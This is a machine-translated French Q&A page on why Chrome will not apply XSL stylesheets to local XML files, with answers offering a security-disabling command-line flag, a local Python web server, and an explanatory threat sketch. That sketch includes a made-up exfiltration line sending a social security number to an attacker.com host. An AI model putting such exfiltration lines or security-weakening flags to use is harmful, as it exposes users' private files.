web-dev-qa-db-fra.com

Peut Chrome être fait pour effectuer une transformation XSL sur un fichier local?

Je cherchais dans xslt et j'ai commencé à tester avec les exemples sur w3schools.

Cependant, lorsque j'enregistre le xml et le xsl dans des fichiers et que j'essaye de les ouvrir localement, chrome n'effectuera pas la transformation xsl. Il montre juste une page vierge.

J'ai ajouté le<?xml-stylesheet type="text/xsl" href="style.xsl"> tag au document xml, et firefox le rend tel qu'il est censé ressembler. De plus, si je regarde les fichiers via un serveur Web, chrome affiche le fichier tel qu'il est censé le regarder.

Est-ce que chrome a un problème pour trouver les informations de feuille de style lorsque le lien est local? Changer le href en file:///C:/xsl/style.xsl n'a fait aucune différence.

Mise à jour: Cela semble être un effet secondaire d'une politique de sécurité pour ne pas traiter le fichier: /// * comme la même origine. Cela fait apparaître l'erreur suivante dans la console:

Tentative non sécurisée de charger le fichier URL: /// C: /xsl-rpg/style.xsl à partir du cadre avec le fichier URL: /// C: /xsl-rpg/data.xml. Les domaines, protocoles et ports doivent correspondre.

81
Zaz

La réponse courte est "Non, utilisez l'un des ensemble de navigateurs divers là-bas" .

La raison pour laquelle cela ne fonctionne pas est due à un problème de sécurité que Chrome a résolu de manière controversée[1][2][3][4], en empêchant les fichiers XML d'accéder aux fichiers XSLT locaux dans le même répertoire, tandis que les fichiers HTML peuvent très bien accéder aux fichiers .CSS dans le même répertoire.

Parmi les problèmes cités ci-dessus, les utilisateurs ont demandé un message d'erreur plus clair (car les domaines, les protocoles et les ports correspondent en fait), ou du moins l'affichage du XML sans le style. Chrome ont ignoré ces demandes.

65
Zaz

Vous pouvez le faire localement à l'aide des indicateurs de ligne de commande de Chrome.

Le drapeau spécifique est --allow-file-access-from-files

Sous OS X: à partir de Terminal.app, exécutez /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

Sous Windows: à partir de l'invite de commandes, exécutez %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Remarque: vous devrez probablement quitter Chrome s'il est actuellement en cours d'exécution, sinon Ch

52
Jake Burton

Si vous voulez vous en tenir à l'OP, la réponse est non (comme d'autres l'ont souligné) mais une façon de résoudre le problème est d'exécuter un serveur Web simple et d'ouvrir des fichiers via http en chrome. Si vous avez python 2.x installé, vous pouvez exécuter un serveur Web en tapant:

python -m SimpleHTTPServer

Ou en python 3.x:

python3 -m http.server

puis ouvrez le fichier à l'aide de http://localhost:8000/yourfile.xml en chrome. J'espère que vous voulez juste faire votre travail et que ce n'est pas une chose cruciale d'avoir à ouvrir un fichier en utilisant file://

12
morpheus

Ma solution pour voir un xml selon un fichier xsl

Supposons que nous ayons un some_file.xml avec des en-têtes:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. Nous téléchargeons le fichier https://some-site.com/Common.xsl et placez-le à côté du some_file.xml
  2. Changer une partie de notre en-tête de href="https://some-site.com/Common.xsl" à href="http://localhost:8001/Common.xsl"
  3. Exécutez dans le répertoire avec nos fichiers - python3 -m http.server 8001
  4. Ouvrir dans n'importe quel navigateur http://localhost:8001/some_file.xml
3
Greg Eremeev

Il a fallu un peu de déchiffrement sur la page Chrome Bug - ils sont très désireux de ne pas expliquer quel est le problème, et pourquoi ils ont choisi de briser tout le monde plutôt que de ne pas briser tout le monde.

Supposons que j'ai un fichier XML - quelque part - sur mon disque dur, par exemple:

C:\Users\Ian\Documents\Taxes\StudioTaxReturn_2015.xml

Et une entité malveillante - en quelque sorte - a réussi à supprimer un fichier XML malveillant sur mon ordinateur, par exemple:

C:\Users\Ian\AppData\LocalLow\Temp\TrojanVirusWorm.xml

Imaginez TrojanVirusWorm.xml contient une instruction de traitement de feuille de style ( [~ # ~] pi [~ # ~] ):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

L'attaquant demande ensuite à mon navigateur de naviguer vers le trojanVirusWorm.xml fichier.

Apparemment, il existe un moyen pour qu'un fichier XML puisse - lire le contenu du fichier XSD (plutôt que d'être transformé par le fichier XSD):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

Je ne comprends pas comment un fichier XML peut lire un fichier de feuille de style. Mais l'équipe Chrome nous assure que c'est un danger et qu'il ne peut pas être résolu.

Tous les autres navigateurs l'ont résolu. Ils l'ont résolu car ce n'est pas un problème .

2
Ian Boyd